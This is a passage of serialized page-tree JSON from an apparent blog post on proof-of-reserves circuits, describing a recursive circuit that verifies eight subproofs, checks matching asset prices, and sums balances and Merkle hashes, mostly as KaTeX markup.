generated:",{"type":26,"tag":39,"props":71856,"children":71857},{},[71858],{"type":26,"tag":6468,"props":71859,"children":71861},{"alt":9464,"src":71860},"/posts/por/batch-circuit-inputs.png",[],{"type":26,"tag":607,"props":71863,"children":71865},{"id":71864},"recursive-circuit",[71866],{"type":32,"value":71867},"Recursive Circuit",{"type":26,"tag":39,"props":71869,"children":71870},{},[71871],{"type":32,"value":71872},"Recursive circuits get eight subproofs as input, verify if all the asset prices are the same, and calculate the summed balances and Merkle hash. Here are the constraints.",{"type":26,"tag":39,"props":71874,"children":71875},{},[71876],{"type":26,"tag":9348,"props":71877,"children":71878},{},[71879],{"type":32,"value":70150},{"type":26,"tag":2040,"props":71881,"children":71882},{},[71883,71887,71892],{"type":26,"tag":2044,"props":71884,"children":71885},{},[71886],{"type":32,"value":70168},{"type":26,"tag":2044,"props":71888,"children":71889},{},[71890],{"type":32,"value":71891},"Asset prices",{"type":26,"tag":2044,"props":71893,"children":71894},{},[71895],{"type":32,"value":70163},{"type":26,"tag":39,"props":71897,"children":71898},{},[71899],{"type":26,"tag":9348,"props":71900,"children":71901},{},[71902],{"type":32,"value":70176},{"type":26,"tag":2040,"props":71904,"children":71905},{},[71906],{"type":26,"tag":2044,"props":71907,"children":71908},{},[71909],{"type":32,"value":71910},"8 subproofs",{"type":26,"tag":39,"props":71912,"children":71913},{},[71914],{"type":26,"tag":9348,"props":71915,"children":71916},{},[71917],{"type":32,"value":70197},{"type":26,"tag":2040,"props":71919,"children":71920},{},[71921,72328,72659,73026,73412],{"type":26,"tag":2044,"props":71922,"children":71923},{},[71924,72323,72324],{"type":26,"tag":83,"props":71925,"children":71927},{"className":71926},[213,4703],[71928],{"type":26,"tag":217,"props":71929,"children":71931},{"className":71930},[225],[71932],{"type":26,"tag":217,"props":71933,"children":71935},{"className":71934,"ariaHidden":231},[230],[71936,72072],{"type":26,"tag":217,"props":71937,"children":71939},{"className":71938},[236],[71940,71944,71949,71954,71959,71964,71969,71974,71979,71984,71989,71994,71999,72004,72009,72014,72019,72024,72029,72034,72039,72044,72049,72054,72059,72063,72068],{"type":26,"tag":217,"props":71941,"children":71943},{"className":71942,"style":49604},[241],[],{"type":26,"tag":217,"props":71945,"children":71947},{"className":71946},[247,2152],[71948],{"type":32,"value":2935},{"type":26,"tag":217,"props":71950,"children":71952},{"className":71951},[247,2152],[71953],{"type":32,"value":19494},{"type":26,"tag":217,"props":71955,"children":71957},{"className":71956},[247,2152],[71958],{"type":32,"value":2935},{"type":26,"tag":217,"props":71960,"children":71962},{"className":71961},[247,2152],[71963],{"type":32,"value":163},{"type":26,"tag":217,"props":71965,"children":71967},{"className":71966,"style":19330},[247,2152],[71968],{"type":32,"value":19333},{"type":26,"tag":217,"props":71970,"children":71972},{"className":71971,"style":2753},[247],[71973],{"type":32,"value":49012},{"type":26,"tag":217,"props":71975,"children":71977},{"className":71976},[247,2152],[71978],{"type":32,"value":163},{"type":26,"tag":217,"props":71980,"children":71982},{"className":71981},[247,2152],[71983],{"type":32,"value":69777},{"type":26,"tag":217,"props":71985,"children":71987},{"className":71986},[247,2152],[71988],{"type":32,"value":2935},{"type":26,"tag":217,"props":71990,"children":71992},{"className":71991,"style":2753},[247],[71993],{"type":32,"value":49012},{"type":26,"tag":217,"props":71995,"children":71997},{"className":71996},[247,2152],[71998],{"type":32,"value":69793},{"type":26,"tag":217,"props":72000,"children":72002},{"className":72001,"style":19330},[247,2152],[72003],{"type":32,"value":19333},{"type":26,"tag":217,"props":72005,"children":72007},{"className":72006},[247,2152],[72008],{"type":32,"value":69804},{"type":26,"tag":217,"props":72010,"children":72012},{"className":72011},[247,2152],[72013],{"type":32,"value":69810},{"type":26,"tag":217,"props":72015,"children":72017},{"className":72016},[288],[72018],{"type":32,"value":7127},{"type":26,"tag":217,"props":72020,"children":72022},{"className":72021},[247,2152],[72023],{"type":32,"value":163},{"type":26,"tag":217,"props":72025,"children":72027},{"className":72026},[247,2152],[72028],{"type":32,"value":69777},{"type":26,"tag":217,"props":72030,"children":72032},{"className":72031},[247,2152],[72033],{"type":32,"value":2935},{"type":26,"tag":217,"props":72035,"children":72037},{"className":72036,"style":2753},[247],[72038],{"type":32,"value":49012},{"type":26,"tag":217,"props":72040,"children":72042},{"className":72041},[247,2152],[72043],{"type":32,"value":2197},{"type":26,"tag":217,"props":72045,"children":72047},{"className":72046},[247,2152],[72048],{"type":32,"value":70037},{"type":26,"tag":217,"props":72050,"children":72052},{"className":72051},[247,2152],[72053],{"type":32,"value":70537},{"type":26,"tag":217,"props":72055,"children":72057},{"className":72056},[428],[72058],{"type":32,"value":21845},{"type":26,"tag":217,"props":72060,"children":72062},{"className":72061,"style":259},[258],[],{"type":26,"tag":217,"props":72064,"children":72066},{"className":72065},[264],[72067],{"type":32,"value":9106},{"type":26,"tag":217,"props":72069,"children":72071},{"className":72070,"style":259},[258],[],{"type":26,"tag":217,"props":72073,"children":72075},{"className":72074},[236],[72076,72080,72085,72090,72095,72100,72105,72110,72116,72173,72178,72183,72188,72193,72198,72203,72208,72213,72218,72223,72228,72233,72238,72243,72248,72253,72258,72263,72268,72273,72278,72283,72288,72293,72298,72303,72308,72313,72318],{"type":26,"tag":217,"props":72077,"children":72079},{"className":72078,"style":49604},[241],[],{"type":26,"tag":217,"props":72081,"children":72083},{"className":72082},[247],[72084],{"type":32,"value":70364},{"type":26,"tag":217,"props":72086,"children":72088},{"className":72087},[258],[72089],{"type":32,"value":69873},{"type":26,"tag":217,"props":72091,"children":72093},{"className":72092},[247,2152],[72094],{"type":32,"value":3246},{"type":26,"tag":217,"props":72096,"children":72098},{"className":72097},[247,2152],[72099],{"type":32,"value":70037},{"type":26,"tag":217,"props":72101,"children":72103},{"className":72102},[247,2152],[72104],{"type":32,"value":14783},{"type":26,"tag":217,"props":72106,"children":72108},{"className":72107},[247,2152],[72109],{"type":32,"value":39},{"type":26,"tag":217,"props":72111,"children":72113},{"className":72112},[247,2152],[72114],{"type":32,"value":72115},"roo",{"type":26,"tag":217,"props":72117,"children":72119},{"className":72118},[247],[72120,72125],{"type":26,"tag":217,"props":72121,"children":72123},{"className":72122,"style":19823},[247,2152],[72124],{"type":32,"value":19826},{"type":26,"tag":217,"props":72126,"children":72128},{"className":72127},[2160],[72129],{"type":26,"tag":217,"props":72130,"children":72132},{"className":72131},[299,300],[72133,72162],{"type":26,"tag":217,"props":72134,"children":72136},{"className":72135},[305],[72137,72157],{"type":26,"tag":217,"props":72138,"children":72140},{"className":72139,"style":2271},[310],[72141],{"type":26,"tag":217,"props":72142,"children":72143},{"style":19845},[72144,72148],{"type":26,"tag":217,"props":72145,"children":72147},{"className":72146,"style":2182},[320],[],{"type":26,"tag":217,"props":72149,"children":72151},{"className":72150},[2187,2188,2189,2190],[72152],{"type":26,"tag":217,"props":72153,"children":72155},{"className":72154},[247,2152,2190],[72156],{"type":32,"value":2290},{"type":26,"tag":217,"props":72158,"children":72160},{"className":72159},[409],[72161],{"type":32,"value":412},{"type":26,"tag":217,"props":72163,"children":72165},{"className":72164},[305],[72166],{"type":26,"tag":217,"props":72167,"children":72169},{"className":72168,"style":2210},[310],[72170],{"type":26,"tag":217,"props":72171,"children":72172},{},[],{"type":26,"tag":217,"props":72174,"children":72176},{"className":72175},[247],[72177],{"type":32,"value":180},{"type":26,"tag":217,"props":72179,"children":72181},{"className":72180},[247,2152],[72182],{"type":32,"value":39},{"type":26,"tag":217,"props":72184,"children":72186},{"className":72185},[247,2152],[72187],{"type":32,"value":70037},{"type":26,"tag":217,"props":72189,"children":72191},{"className":72190},[247,2152],[72192],{"type":32,"value":14783},{"type":26,"tag":217,"props":72194,"children":72196},{"className":72195,"style":19330},[247,2152],[72197],{"type":32,"value":19333},{"type":26,"tag":217,"props":72199,"children":72201},{"className":72200},[247,2152],[72202],{"type":32,"value":2290},{"type":26,"tag":217,"props":72204,"children":72206},{"className":72205},[247,2152],[72207],{"type":32,"value":2255},{"type":26,"tag":217,"props":72209,"children":72211},{"className":72210,"style":2753},[247],[72212],{"type":32,"value":49012},{"type":26,"tag":217,"props":72214,"children":72216},{"className":72215},[247,2152],[72217],{"type":32,"value":35985},{"type":26,"tag":217,"props":72219,"children":72221},{"className":72220},[247,2152],[72222],{"type":32,"value":39},{"type":26,"tag":217,"props":72224,"children":72226},{"className":72225},[247,2152],[72227],{"type":32,"value":70037},{"type":26,"tag":217,"props":72229,"children":72231},{"className":72230},[247,2152],[72232],{"type":32,"value":2935},{"type":26,"tag":217,"props":72234,"children":72236},{"className":72235},[247],[72237],{"type":32,"value":180},{"type":26,"tag":217,"props":72239,"children":72241},{"className":72240},[247,2152],[72242],{"type":32,"value":163},{"type":26,"tag":217,"props":72244,"children":72246},{"className":72245},[247,2152],[72247],{"type":32,"value":69777},{"type":26,"tag":217,"props":72249,"children":72251},{"className":72250},[247,2152],[72252],{"type":32,"value":2935},{"type":26,"tag":217,"props":72254,"children":72256},{"className":72255,"style":2753},[247],[72257],{"type":32,"value":49012},{"type":26,"tag":217,"props":72259,"children":72261},{"className":72260},[247,2152],[72262],{"type":32,"value":69793},{"type":26,"tag":217,"props":72264,"children":72266},{"className":72265,"style":19330},[247,2152],[72267],{"type":32,"value":19333},{"type":26,"tag":217,"props":72269,"children":72271},{"className":72270},[247,2152],[72272],{"type":32,"value":69804},{"type":26,"tag":217,"props":72274,"children":72276},{"className":72275},[247,2152],[72277],{"type":32,"value":70605},{"type":26,"tag":217,"props":72279,"children":72281},{"className":72280},[288],[72282],{"type":32,"value":7127},{"type":26,"tag":217,"props":72284,"children":72286},{"className":72285},[247,2152],[72287],{"type":32,"value":163},{"type":26,"tag":217,"props":72289,"children":72291},{"className":72290},[247,2152],[72292],{"type":32,"value":69777},{"type":26,"tag":217,"props":72294,"children":72296},{"className":72295},[247,2152],[72297],{"type":32,"value":2935},{"type":26,"tag":217,"props":72299,"children":72301},{"className":72300,"style":2753},[247],[72302],{"type":32,"value":49012},{"type":26,"tag":217,"props":72304,"children":72306},{"className":72305},[247,2152],[72307],{"type":32,"value":2197},{"type":26,"tag":217,"props":72309,"children":72311},{"className":72310},[247,2152],[72312],{"type":32,"value":70037},{"type":26,"tag":217,"props":72314,"children":72316},{"className":72315},[247,2152],[72317],{"type":32,"value":70537},{"type":26,"tag":217,"props":72319,"children":72321},{"className":72320},[428],[72322],{"type":32,"value":21845},{"type":32,"value":19795},{"type":26,"tag":9348,"props":72325,"children":72326},{},[72327],{"type":32,"value":71165},{"type":26,"tag":2044,"props":72329,"children":72330},{},[72331],{"type":26,"tag":83,"props":72332,"children":72334},{"className":72333},[213,4703],[72335],{"type":26,"tag":217,"props":72336,"children":72338},{"className":72337},[225],[72339],{"type":26,"tag":217,"props":72340,"children":72342},{"className":72341,"ariaHidden":231},[230],[72343,72449],{"type":26,"tag":217,"props":72344,"children":72346},{"className":72345},[236],[72347,72351,72356,72361,72366,72371,72376,72381,72386,72391,72396,72401,72406,72411,72416,72421,72426,72431,72436,72440,72445],{"type":26,"tag":217,"props":72348,"children":72350},{"className":72349,"style":49604},[241],[],{"type":26,"tag":217,"props":72352,"children":72354},{"className":72353},[247,2152],[72355],{"type":32,"value":163},{"type":26,"tag":217,"props":72357,"children":72359},{"className":72358},[247,2152],[72360],{"type":32,"value":69777},{"type":26,"tag":217,"props":72362,"children":72364},{"className":72363},[247,2152],[72365],{"type":32,"value":2935},{"type":26,"tag":217,"props":72367,"children":72369},{"className":72368,"style":2753},[247],[72370],{"type":32,"value":49012},{"type":26,"tag":217,"props":72372,"children":72374},{"className":72373},[247,2152],[72375],{"type":32,"value":39},{"type":26,"tag":217,"props":72377,"children":72379},{"className":72378,"style":2753},[247,2152],[72380],{"type":32,"value":19414},{"type":26,"tag":217,"props":72382,"children":72384},{"className":72383},[247,2152],[72385],{"type":32,"value":2290},{"type":26,"tag":217,"props":72387,"children":72389},{"className":72388},[247,2152],[72390],{"type":32,"value":69810},{"type":26,"tag":217,"props":72392,"children":72394},{"className":72393},[288],[72395],{"type":32,"value":7127},{"type":26,"tag":217,"props":72397,"children":72399},{"className":72398},[247,2152],[72400],{"type":32,"value":163},{"type":26,"tag":217,"props":72402,"children":72404},{"className":72403},[247,2152],[72405],{"type":32,"value":69777},{"type":26,"tag":217,"props":72407,"children":72409},{"className":72408},[247,2152],[72410],{"type":32,"value":2935},{"type":26,"tag":217,"props":72412,"children":72414},{"className":72413,"style":2753},[247],[72415],{"type":32,"value":49012},{"type":26,"tag":217,"props":72417,"children":72419},{"className":72418},[247,2152],[72420],{"type":32,"value":2197},{"type":26,"tag":217,"props":72422,"children":72424},{"className":72423},[247,2152],[72425],{"type":32,"value":70037},{"type":26,"tag":217,"props":72427,"children":72429},{"className":72428},[247,2152],[72430],{"type":32,"value":70537},{"type":26,"tag":217,"props":72432,"children":72434},{"className":72433},[428],[72435],{"type":32,"value":21845},{"type":26,"tag":217,"props":72437,"children":72439},{"className":72438,"style":259},[258],[],{"type":26,"tag":217,"props":72441,"children":72443},{"className":72442},[264],[72444],{"type":32,"value":9106},{"type":26,"tag":217,"props":72446,"children":72448},{"className":72447,"style":259},[258],[],{"type":26,"tag":217,"props":72450,"children":72452},{"className":72451},[236],[72453,72457,72462,72467,72472,72477,72482,72539,72544,72549,72554,72559,72564,72569,72574,72579,72584,72589,72594,72599,72604,72609,72614,72619,72624,72629,72634,72639,72644,72649,72654],{"type":26,"tag":217,"props":72454,"children":72456},{"className":72455,"style":49604},[241],[],{"type":26,"tag":217,"props":72458,"children":72460},{"className":72459},[247,2152],[72461],{"type":32,"value":3246},{"type":26,"tag":217,"props":72463,"children":72465},{"className":72464},[247,2152],[72466],{"type":32,"value":70037},{"type":26,"tag":217,"props":72468,"children":72470},{"className":72469},[247,2152],[72471],{"type":32,"value":14783},{"type":26,"tag":217,"props":72473,"children":72475},{"className":72474},[247,2152],[72476],{"type":32,"value":39},{"type":26,"tag":217,"props":72478,"children":72480},{"className":72479},[247,2152],[72481],{"type":32,"value":72115},{"type":26,"tag":217,"props":72483,"children":72485},{"className":72484},[247],[72486,72491],{"type":26,"tag":217,"props":72487,"children":72489},{"className":72488,"style":19823},[247,2152],[72490],{"type":32,"value":19826},{"type":26,"tag":217,"props":72492,"children":72494},{"className":72493},[2160],[72495],{"type":26,"tag":217,"props":72496,"children":72498},{"className":72497},[299,300],[72499,72528],{"type":26,"tag":217,"props":72500,"children":72502},{"className":72501},[305],[72503,72523],{"type":26,"tag":217,"props":72504,"children":72506},{"className":72505,"style":2271},[310],[72507],{"type":26,"tag":217,"props":72508,"children":72509},{"style":19845},[72510,72514],{"type":26,"tag":217,"props":72511,"children":72513},{"className":72512,"style":2182},[320],[],{"type":26,"tag":217,"props":72515,"children":72517},{"className":72516},[2187,2188,2189,2190],[72518],{"type":26,"tag":217,"props":72519,"children":72521},{"className":72520},[247,2152,2190],[72522],{"type":32,"value":2290},{"type":26,"tag":217,"props":72524,"children":72526},{"className":72525},[409],[72527],{"type":32,"value":412},{"type":26,"tag":217,"props":72529,"children":72531},{"className":72530},[305],[72532],{"type":26,"tag":217,"props":72533,"children":72535},{"className":72534,"style":2210},[310],[72536],{"type":26,"tag":217,"props":72537,"children":72538},{},[],{"type":26,"tag":217,"props":72540,"children":72542},{"className":72541},[247],[72543],{"type":32,"value":180},{"type":26,"tag":217,"props":72545,"children":72547},{"className":72546},[247,2152],[72548],{"type":32,"value":39},{"type":26,"tag":217,"props":72550,"children":72552},{"className":72551},[247,2152],[72553],{"type":32,"value":70037},{"type":26,"tag":217,"props":72555,"children":72557},{"className":72556},[247,2152],[72558],{"type":32,"value":14783},{"type":26,"tag":217,"props":72560,"children":72562},{"className":72561,"style":19330},[247,2152],[72563],{"type":32,"value":19333},{"type":26,"tag":217,"props":72565,"children":72567},{"className":72566},[247,2152],[72568],{"type":32,"value":2290},{"type":26,"tag":217,"props":72570,"children":72572},{"className":72571},[247,2152],[72573],{"type":32,"value":2255},{"type":26,"tag":217,"props":72575,"children":72577},{"className":72576,"style":2753},[247],[72578],{"type":32,"value":49012},{"type":26,"tag":217,"props":72580,"children":72582},{"className":72581},[247,2152],[72583],{"type":32,"value":35985},{"type":26,"tag":217,"props":72585,"children":72587},{"className":72586},[247,2152],[72588],{"type":32,"value":39},{"type":26,"tag":217,"props":72590,"children":72592},{"className":72591},[247,2152],[72593],{"type":32,"value":70037},{"type":26,"tag":217,"props":72595,"children":72597},{"className":72596},[247,2152],[72598],{"type":32,"value":2935},{"type":26,"tag":217,"props":72600,"children":72602},{"className":72601},[247],[72603],{"type":32,"value":180},{"type":26,"tag":217,"props":72605,"children":72607},{"className":72606},[247,2152],[72608],{"type":32,"value":163},{"type":26,"tag":217,"props":72610,"children":72612},{"className":72611},[247,2152],[72613],{"type":32,"value":69777},{"type":26,"tag":217,"props":72615,"children":72617},{"className":72616},[247,2152],[72618],{"type":32,"value":2935},{"type":26,"tag":217,"props":72620,"children":72622},{"className":72621,"style":2753},[247],[72623],{"type":32,"value":49012},{"type":26,"tag":217,"props":72625,"children":72627},{"className":72626},[247,2152],[72628],{"type":32,"value":39},{"type":26,"tag":217,"props":72630,"children":72632},{"className":72631,"style":2753},[247,2152],[72633],{"type":32,"value":19414},{"type":26,"tag":217,"props":72635,"children":72637},{"className":72636},[247,2152],[72638],{"type":32,"value":2290},{"type":26,"tag":217,"props":72640,"children":72642},{"className":72641},[247,2152],[72643],{"type":32,"value":70605},{"type":26,"tag":217,"props":72645,"children":72647},{"className":72646},[288],[72648],{"type":32,"value":7127},{"type":26,"tag":217,"props":72650,"children":72652},{"className":72651},[247],[72653],{"type":32,"value":1883},{"type":26,"tag":217,"props":72655,"children":72657},{"className":72656},[428],[72658],{"type":32,"value":21845},{"type":26,"tag":2044,"props":72660,"children":72661},{},[72662,73020,73021],{"type":26,"tag":83,"props":72663,"children":72665},{"className":72664},[213,4703],[72666],{"type":26,"tag":217,"props":72667,"children":72669},{"className":72668},[225],[72670],{"type":26,"tag":217,"props":72671,"children":72673},{"className":72672,"ariaHidden":231},[230],[72674,72780],{"type":26,"tag":217,"props":72675,"children":72677},{"className":72676},[236],[72678,72682,72687,72692,72697,72702,72707,72712,72717,72722,72727,72732,72737,72742,72747,72752,72757,72762,72767,72771,72776],{"type":26,"tag":217,"props":72679,"children":72681},{"className":72680,"style":49604},[241],[],{"type":26,"tag":217,"props":72683,"children":72685},{"className":72684},[247,2152],[72686],{"type":32,"value":163},{"type":26,"tag":217,"props":72688,"children":72690},{"className":72689},[247,2152],[72691],{"type":32,"value":69777},{"type":26,"tag":217,"props":72693,"children":72695},{"className":72694},[247,2152],[72696],{"type":32,"value":2935},{"type":26,"tag":217,"props":72698,"children":72700},{"className":72699,"style":2753},[247],[72701],{"type":32,"value":49012},{"type":26,"tag":217,"props":72703,"children":72705},{"className":72704},[247,2152],[72706],{"type":32,"value":39},{"type":26,"tag":217,"props":72708,"children":72710},{"className":72709,"style":2753},[247,2152],[72711],{"type":32,"value":19414},{"type":26,"tag":217,"props":72713,"children":72715},{"className":72714},[247,2152],[72716],{"type":32,"value":2290},{"type":26,"tag":217,"props":72718,"children":72720},{"className":72719},[247,2152],[72721],{"type":32,"value":69810},{"type":26,"tag":217,"props":72723,"children":72725},{"className":72724},[288],[72726],{"type":32,"value":7127},{"type":26,"tag":217,"props":72728,"children":72730},{"className":72729},[247,2152],[72731],{"type":32,"value":163},{"type":26,"tag":217,"props":72733,"children":72735},{"className":72734},[247,2152],[72736],{"type":32,"value":69777},{"type":26,"tag":217,"props":72738,"children":72740},{"className":72739},[247,2152],[72741],{"type":32,"value":2935},{"type":26,"tag":217,"props":72743,"children":72745},{"className":72744,"style":2753},[247],[72746],{"type":32,"value":49012},{"type":26,"tag":217,"props":72748,"children":72750},{"className":72749},[247,2152],[72751],{"type":32,"value":2197},{"type":26,"tag":217,"props":72753,"children":72755},{"className":72754},[247,2152],[72756],{"type":32,"value":70037},{"type":26,"tag":217,"props":72758,"children":72760},{"className":72759},[247,2152],[72761],{"type":32,"value":70537},{"type":26,"tag":217,"props":72763,"children":72765},{"className":72764},[428],[72766],{"type":32,"value":21845},{"type":26,"tag":217,"props":72768,"children":72770},{"className":72769,"style":259},[258],[],{"type":26,"tag":217,"props":72772,"children":72774},{"className":72773},[264],[72775],{"type":32,"value":9106},{"type":26,"tag":217,"props":72777,"children":72779},{"className":72778,"style":259},[258],[],{"type":26,"tag":217,"props":72781,"children":72783},{"className":72782},[236],[72784,72788,72793,72798,72803,72808,72813,72870,72875,72880,72885,72890,72895,72900,72905,72910,72915,72920,72925,72930,72935,72940,72945,72950,72955,72960,72965,72970,72975,72980,72985,72990,72995,73000,73005,73010,73015],{"type":26,"tag":217,"props":72785,"children":72787},{"className":72786,"style":49604},[241],[],{"type":26,"tag":217,"props":72789,"children":72791},{"className":72790},[247,2152],[72792],{"type":32,"value":3246},{"type":26,"tag":217,"props":72794,"children":72796},{"className":72795},[247,2152],[72797],{"type":32,"value":70037},{"type":26,"tag":217,"props":72799,"children":72801},{"className":72800},[247,2152],[72802],{"type":32,"value":14783},{"type":26,"tag":217,"props":72804,"children":72806},{"className":72805},[247,2152],[72807],{"type":32,"value":39},{"type":26,"tag":217,"props":72809,"children":72811},{"className":72810},[247,2152],[72812],{"type":32,"value":72115},{"type":26,"tag":217,"props":72814,"children":72816},{"className":72815},[247],[72817,72822],{"type":26,"tag":217,"props":72818,"children":72820},{"className":72819,"style":19823},[247,2152],[72821],{"type":32,"value":19826},{"type":26,"tag":217,"props":72823,"children":72825},{"className":72824},[2160],[72826],{"type":26,"tag":217,"props":72827,"children":72829},{"className":72828},[299,300],[72830,72859],{"type":26,"tag":217,"props":72831,"children":72833},{"className":72832},[305],[72834,72854],{"type":26,"tag":217,"props":72835,"children":72837},{"className":72836,"style":2271},[310],[72838],{"type":26,"tag":217,"props":72839,"children":72840},{"style":19845},[72841,72845],{"type":26,"tag":217,"props":72842,"children":72844},{"className":72843,"style":2182},[320],[],{"type":26,"tag":217,"props":72846,"children":72848},{"className":72847},[2187,2188,2189,2190],[72849],{"type":26,"tag":217,"props":72850,"children":72852},{"className":72851},[247,2152,2190],[72853],{"type":32,"value":2290},{"type":26,"tag":217,"props":72855,"children":72857},{"className":72856},[409],[72858],{"type":32,"value":412},{"type":26,"tag":217,"props":72860,"children":72862},{"className":72861},[305],[72863],{"type":26,"tag":217,"props":72864,"children":72866},{"className":72865,"style":2210},[310],[72867],{"type":26,"tag":217,"props":72868,"children":72869},{},[],{"type":26,"tag":217,"props":72871,"children":72873},{"className":72872},[247],[72874],{"type":32,"value":180},{"type":26,"tag":217,"props":72876,"children":72878},{"className":72877},[247,2152],[72879],{"type":32,"value":39},{"type":26,"tag":217,"props":72881,"children":72883},{"className":72882},[247,2152],[72884],{"type":32,"value":70037},{"type":26,"tag":217,"props":72886,"children":72888},{"className":72887},[247,2152],[72889],{"type":32,"value":14783},{"type":26,"tag":217,"props":72891,"children":72893},{"className":72892,"style":19330},[247,2152],[72894],{"type":32,"value":19333},{"type":26,"tag":217,"props":72896,"children":72898},{"className":72897},[247,2152],[72899],{"type":32,"value":2290},{"type":26,"tag":217,"props":72901,"children":72903},{"className":72902},[247,2152],[72904],{"type":32,"value":2255},{"type":26,"tag":217,"props":72906,"children":72908},{"className":72907,"style":2753},[247],[72909],{"type":32,"value":49012},{"type":26,"tag":217,"props":72911,"children":72913},{"className":72912},[247,2152],[72914],{"type":32,"value":35985},{"type":26,"tag":217,"props":72916,"children":72918},{"className":72917},[247,2152],[72919],{"type":32,"value":39},{"type":26,"tag":217,"props":72921,"children":72923},{"className":72922},[247,2152],[72924],{"type":32,"value":70037},{"type":26,"tag":217,"props":72926,"children":72928},{"className":72927},[247,2152],[72929],{"type":32,"value":2935},{"type":26,"tag":217,"props":72931,"children":72933},{"className":72932},[247],[72934],{"type":32,"value":180},{"type":26,"tag":217,"props":72936,"children":72938},{"className":72937},[247,2152],[72939],{"type":32,"value":163},{"type":26,"tag":217,"props":72941,"children":72943},{"className":72942},[247,2152],[72944],{"type":32,"value":69777},{"type":26,"tag":217,"props":72946,"children":72948},{"className":72947},[247,2152],[72949],{"type":32,"value":2935},{"type":26,"tag":217,"props":72951,"children":72953},{"className":72952,"style":2753},[247],[72954],{"type":32,"value":49012},{"type":26,"tag":217,"props":72956,"children":72958},{"className":72957},[247,2152],[72959],{"type":32,"value":39},{"type":26,"tag":217,"props":72961,"children":72963},{"className":72962,"style":2753},[247,2152],[72964],{"type":32,"value":19414},{"type":26,"tag":217,"props":72966,"children":72968},{"className":72967},[247,2152],[72969],{"type":32,"value":2290},{"type":26,"tag":217,"props":72971,"children":72973},{"className":72972},[247,2152],[72974],{"type":32,"value":70605},{"type":26,"tag":217,"props":72976,"children":72978},{"className":72977},[288],[72979],{"type":32,"value":7127},{"type":26,"tag":217,"props":72981,"children":72983},{"className":72982},[247,2152],[72984],{"type":32,"value":163},{"type":26,"tag":217,"props":72986,"children":72988},{"className":72987},[247,2152],[72989],{"type":32,"value":69777},{"type":26,"tag":217,"props":72991,"children":72993},{"className":72992},[247,2152],[72994],{"type":32,"value":2935},{"type":26,"tag":217,"props":72996,"children":72998},{"className":72997,"style":2753},[247],[72999],{"type":32,"value":49012},{"type":26,"tag":217,"props":73001,"children":73003},{"className":73002},[247,2152],[73004],{"type":32,"value":2197},{"type":26,"tag":217,"props":73006,"children":73008},{"className":73007},[247,2152],[73009],{"type":32,"value":70037},{"type":26,"tag":217,"props":73011,"children":73013},{"className":73012},[247,2152],[73014],{"type":32,"value":70537},{"type":26,"tag":217,"props":73016,"children":73018},{"className":73017},[428],[73019],{"type":32,"value":21845},{"type":32,"value":19795},{"type":26,"tag":9348,"props":73022,"children":73023},{},[73024],{"type":32,"value":73025},"(verifies if all asset prices are the same)",{"type":26,"tag":2044,"props":73027,"children":73028},{},[73029,73407,73408],{"type":26,"tag":83,"props":73030,"children":73032},{"className":73031},[213,4703],[73033],{"type":26,"tag":217,"props":73034,"children":73036},{"className":73035},[225],[73037],{"type":26,"tag":217,"props":73038,"children":73040},{"className":73039,"ariaHidden":231},[230],[73041,73122],{"type":26,"tag":217,"props":73042,"children":73044},{"className":73043},[236],[73045,73049,73054,73059,73064,73069,73074,73079,73084,73089,73094,73099,73104,73109,73113,73118],{"type":26,"tag":217,"props":73046,"children":73048},{"className":73047,"style":242},[241],[],{"type":26,"tag":217,"props":73050,"children":73052},{"className":73051},[247,2152],[73053],{"type":32,"value":70537},{"type":26,"tag":217,"props":73055,"children":73057},{"className":73056,"style":2753},[247,2152],[73058],{"type":32,"value":71199},{"type":26,"tag":217,"props":73060,"children":73062},{"className":73061,"style":49390},[247,2152],[73063],{"type":32,"value":49393},{"type":26,"tag":217,"props":73065,"children":73067},{"className":73066,"style":19330},[247,2152],[73068],{"type":32,"value":19333},{"type":26,"tag":217,"props":73070,"children":73072},{"className":73071},[247,2152],[73073],{"type":32,"value":2400},{"type":26,"tag":217,"props":73075,"children":73077},{"className":73076,"style":2753},[247],[73078],{"type":32,"value":49012},{"type":26,"tag":217,"props":73080,"children":73082},{"className":73081},[247,2152],[73083],{"type":32,"value":2935},{"type":26,"tag":217,"props":73085,"children":73087},{"className":73086},[247,2152],[73088],{"type":32,"value":71230},{"type":26,"tag":217,"props":73090,"children":73092},{"className":73091,"style":2753},[247],[73093],{"type":32,"value":49012},{"type":26,"tag":217,"props":73095,"children":73097},{"className":73096},[247,2152],[73098],{"type":32,"value":71241},{"type":26,"tag":217,"props":73100,"children":73102},{"className":73101},[247,2152],[73103],{"type":32,"value":3246},{"type":26,"tag":217,"props":73105,"children":73107},{"className":73106},[247,2152],[73108],{"type":32,"value":2612},{"type":26,"tag":217,"props":73110,"children":73112},{"className":73111,"style":259},[258],[],{"type":26,"tag":217,"props":73114,"children":73116},{"className":73115},[264],[73117],{"type":32,"value":9106},{"type":26,"tag":217,"props":73119,"children":73121},{"className":73120,"style":259},[258],[],{"type":26,"tag":217,"props":73123,"children":73125},{"className":73124},[236],[73126,73130,73135,73140,73145,73150,73155,73160,73165,73170,73175,73232,73237,73241,73246,73251,73308,73313,73317,73322,73327,73331,73336,73341,73402],{"type":26,"tag":217,"props":73127,"children":73129},{"className":73128,"style":5514},[241],[],{"type":26,"tag":217,"props":73131,"children":73133},{"className":73132,"style":2153},[247,2152],[73134],{"type":32,"value":2156},{"type":26,"tag":217,"props":73136,"children":73138},{"className":73137},[247,2152],[73139],{"type":32,"value":69741},{"type":26,"tag":217,"props":73141,"children":73143},{"className":73142},[247,2152],[73144],{"type":32,"value":2290},{"type":26,"tag":217,"props":73146,"children":73148},{"className":73147},[247,2152],[73149],{"type":32,"value":22057},{"type":26,"tag":217,"props":73151,"children":73153},{"className":73152},[247,2152],[73154],{"type":32,"value":19494},{"type":26,"tag":217,"props":73156,"children":73158},{"className":73157},[247,2152],[73159],{"type":32,"value":2197},{"type":26,"tag":217,"props":73161,"children":73163},{"className":73162},[288],[73164],{"type":32,"value":1851},{"type":26,"tag":217,"props":73166,"children":73168},{"className":73167},[247,2152],[73169],{"type":32,"value":71241},{"type":26,"tag":217,"props":73171,"children":73173},{"className":73172},[247,2152],[73174],{"type":32,"value":3246},{"type":26,"tag":217,"props":73176,"children":73178},{"className":73177},[247],[73179,73184],{"type":26,"tag":217,"props":73180,"children":73182},{"className":73181},[247,2152],[73183],{"type":32,"value":2612},{"type":26,"tag":217,"props":73185,"children":73187},{"className":73186},[2160],[73188],{"type":26,"tag":217,"props":73189,"children":73191},{"className":73190},[299,300],[73192,73221],{"type":26,"tag":217,"props":73193,"children":73195},{"className":73194},[305],[73196,73216],{"type":26,"tag":217,"props":73197,"children":73199},{"className":73198,"style":19226},[310],[73200],{"type":26,"tag":217,"props":73201,"childre